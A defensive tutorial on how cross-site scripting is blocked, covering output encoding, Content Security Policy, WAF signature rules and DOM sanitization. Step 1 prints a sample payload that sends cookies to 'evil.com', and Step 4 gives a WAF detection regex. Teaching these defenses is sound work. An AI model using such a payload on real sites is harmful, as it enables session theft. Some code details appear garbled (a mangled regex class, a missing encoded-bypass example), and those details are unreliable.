How Cross-Site Scripting (XSS) Is Blocked at the Edge

Introduction

Cross-Site Scripting (XSS) is a web security vulnerability where an attacker injects malicious JavaScript into a page viewed by other users. When the victim’s browser executes this script, the attacker can steal session cookies, redirect users to phishing pages, log keystrokes, or perform actions on behalf of the victim. XSS consistently appears in the OWASP Top 10 and is responsible for numerous high-profile account takeovers. Defense is multi-layered: output encoding, Content Security Policy, WAF rules, and browser sanitization APIs.

Step-by-Step: XSS Attack Vectors and Defenses

flowchart TD
    A["1. Attack Types"]
    B["2. Output Encoding (Primary Defense)"]
    C["3. Content Security Policy (CSP)"]
    D["4. WAF Rule Matching at Edge"]
    E["5. DOM Sanitization API"]
    A --> B
    B --> C
    C --> D
    D --> E

Step 1: Attack Types

Reflected XSS: Malicious script is in the request URL and reflected in the response:

https://bank.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Stored XSS: Script is saved to the database and served to all users viewing that content (e.g., a comment field).

DOM-Based XSS: JavaScript reads from a source (e.g., location.hash) and writes to a sink (e.g., innerHTML) without server involvement.

Step 2: Output Encoding (Primary Defense)

Never insert user-supplied data directly into HTML. Use context-appropriate encoding:

from markupsafe import escape  # Flask/Jinja2
safe_output = escape(user_input)
# "<script>" becomes "&lt;script&gt;"

# In React, JSX auto-escapes by default
// Safe: <div>{userInput}</div>
// Dangerous: <div dangerouslySetInnerHTML={{__html: userInput}} />

Step 3: Content Security Policy (CSP)

CSP is an HTTP response header that whitelists which script sources browsers may execute:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-abc123' https://cdn.trusted.com;
  style-src 'self' https://fonts.googleapis.com;
  img-src 'self' data: https:;
  frame-ancestors 'none';
  report-uri /csp-violations

With nonce-based CSP, even if an attacker injects a <script> tag, the browser won’t execute it unless it carries the server-generated nonce.

Step 4: WAF Rule Matching at Edge

CDN WAFs (Cloudflare WAF, AWS WAF) apply signature-based rules to request payloads before they reach origin:

Rule: AWS-AWSManagedRulesCommonRuleSet → CrossSiteScripting_BODY
Pattern: /<script[^>]*>[sS]*?</script>/gi
Action: BLOCK → Return 403 Forbidden

WAF rules inspect URL parameters, POST body, and headers for XSS payloads. However, WAFs can be bypassed with encoding tricks (<script>), so they are a defense-in-depth layer, not a replacement for proper encoding.

Step 5: DOM Sanitization API

For cases where HTML must be rendered (rich text editors, markdown output), use the Sanitizer API:

// Modern browsers: Sanitizer API (Chrome 105+)
const sanitizer = new Sanitizer({
  allowElements: ['b', 'i', 'em', 'strong', 'a', 'p'],
  allowAttributes: { 'a': ['href', 'title'] }
});
document.getElementById('output').setHTML(untrustedHTML, { sanitizer });

// Legacy fallback: DOMPurify library
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(untrustedHTML);

Key Takeaways

• Output encoding is the primary defense — escape HTML characters before inserting user data into the DOM.
• Content Security Policy with nonces makes injected scripts non-executable even if encoding is missed.
• WAF rules block known XSS payloads at the edge but can be evaded with encoding — treat as defense-in-depth, not sole protection.
• DOM-based XSS is invisible to server-side defenses; audit all JS that reads from location, document.referrer, or localStorage and writes to innerHTML.
• The Sanitizer API (or DOMPurify) is the correct tool when you genuinely need to render user-supplied HTML.